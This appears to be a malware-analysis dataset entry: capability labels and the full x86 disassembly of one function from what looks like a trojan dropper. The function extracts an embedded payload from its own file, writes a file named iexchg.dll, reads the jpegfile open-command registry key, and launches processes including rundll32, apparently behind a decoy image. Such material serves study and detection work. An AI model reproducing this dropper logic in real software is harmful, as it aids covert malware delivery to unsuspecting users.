Function at 0x402726
Capabilities:
Create process on windows
Get common file path
Get file size
Query or enumerate registry value
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1084
call fcn.00401000
push ebx
push esi
push edi
push 0x800
call fcn.00403516
push eax
mov dword [ebp - 0x20], eax
call fcn.00402566
mov esi, 0x400
push esi
call fcn.00403516
add esp, 0xc
push esi
push eax
xor ebx, ebx
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push ebx
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 8], eax
inc eax
push eax
call fcn.00403516
pop ecx
push ebx
mov edi, eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 8]
shr eax, 2
xor ecx, ecx
dec eax
cmp eax, ebx
mov dword [ebp - 4], ebx
jbe 0x4027e3
mov edx, dword [edi + ecx*4]
cmp edx, dword [0x405024]
jne 0x4027d9
mov edx, dword [edi + ecx*4 + 4]
cmp edx, dword [str._8GV]
jne 0x4027d9
lea edx, [ecx + 2]
mov dword [ebp - 4], edx
inc ecx
cmp ecx, eax
jb 0x4027bc
cmp dword [ebp - 4], ebx
jne 0x4027ef
push edi
call fcn.0040352a
pop ecx
jmp 0x402951
push esi
call fcn.00403516
push esi
push eax
mov dword [ebp - 0x10], eax
call fcn.00403d00
add esp, 0xc
push str.iexchg.dll
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push ebx
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push dword [ebp - 0x10]
mov dword [ebp - 8], eax
call fcn.0040352a
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push ebx
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0xc]
call fcn.0040352a
mov eax, dword [ebp - 4]
inc eax
pop ecx
mov ecx, dword [edi + eax*4]
shr ecx, 2
lea eax, [eax + ecx + 1]
mov ecx, dword [edi + eax*4]
lea eax, [edi + eax*4 + 4]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax]
add eax, 4
cmp ecx, ebx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
je 0x402a7f
push ebx
push ebx
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00401a45
add esp, 0xc
push ebx
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
call fcn.0040352a
pop ecx
lea eax, [ebp - 0x14]
push eax
push str.jpegfile_shellopencommand_
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402951
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x484]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
push 0x404175
push dword [ebp - 0x14]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x2c], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
push dword [ebp - 0x14]
je 0x40293c
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402951
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x18]
cmp eax, 3
mov byte [ebp + eax - 0x484], bl
jae 0x402958
xor eax, eax
jmp 0x402a82
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp - 0x484]
push eax
call edi
mov dword [ebp - 0x18], eax
mov byte [ebp + eax - 0x486], bl
push esi
lea eax, [ebp - 0xc84]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push str..jpg
lea eax, [ebp - 0xc84]
push eax
call edi
lea ecx, [ebp - 0xc84]
sub ecx, 4
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x484]
push eax
call edi
push esi
lea eax, [ebp - 0x884]
push eax
mov dword [ebp - 0x70], 0x44
mov word [ebp - 0x3e], bx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x64], ebx
mov word [ebp - 0x40], 5
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push str.System32_
lea eax, [ebp - 0x884]
push eax
call edi
cmp byte [ebp - 0x483], 0x3a
lea eax, [ebp - 0x484]
push eax
je 0x402a3e
lea eax, [ebp - 0x884]
push eax
lea eax, [ebp - 0x1084]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x402a4b
lea eax, [ebp - 0x1084]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.rundll32.exe
lea eax, [ebp - 0x884]
push eax
call edi
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
push 0x4042b8
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x1084]
push eax
lea eax, [ebp - 0x884]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret